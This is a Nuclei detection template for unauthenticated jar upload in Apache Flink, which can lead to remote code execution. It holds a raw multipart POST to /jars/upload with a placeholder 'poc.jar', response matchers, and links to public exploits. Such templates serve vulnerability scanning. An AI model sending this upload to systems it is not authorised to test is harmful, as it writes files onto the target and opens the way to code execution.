id: apache-flink-unauth-rce

info:
  name: Apache Flink Unauth RCE
  author: pikpikcu
  severity: critical
  tags: apache,flink,rce
  reference: |
      - https://www.exploit-db.com/exploits/48978
      - https://adamc95.medium.com/apache-flink-1-9-x-part-1-set-up-5d85fd2770f3
      - https://github.com/LandGrey/flink-unauth-rce

requests:
  - raw:
      - |
        POST /jars/upload HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
        Content-Length: 187
        Content-Type: multipart/form-data;boundary=8ce4b16b22b58894aa86c421e8759df3

        --8ce4b16b22b58894aa86c421e8759df3
        Content-Disposition: form-data; name="jarfile";filename="poc.jar"
        Content-Type:application/octet-stream

          nuclei
        --8ce4b16b22b58894aa86c421e8759df3--

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "application/json"
        part: header
        condition: and
      - type: word
        words:
          - "success"
          - "_poc.jar"
        part: body
        condition: and
      - type: status
        status:
          - 200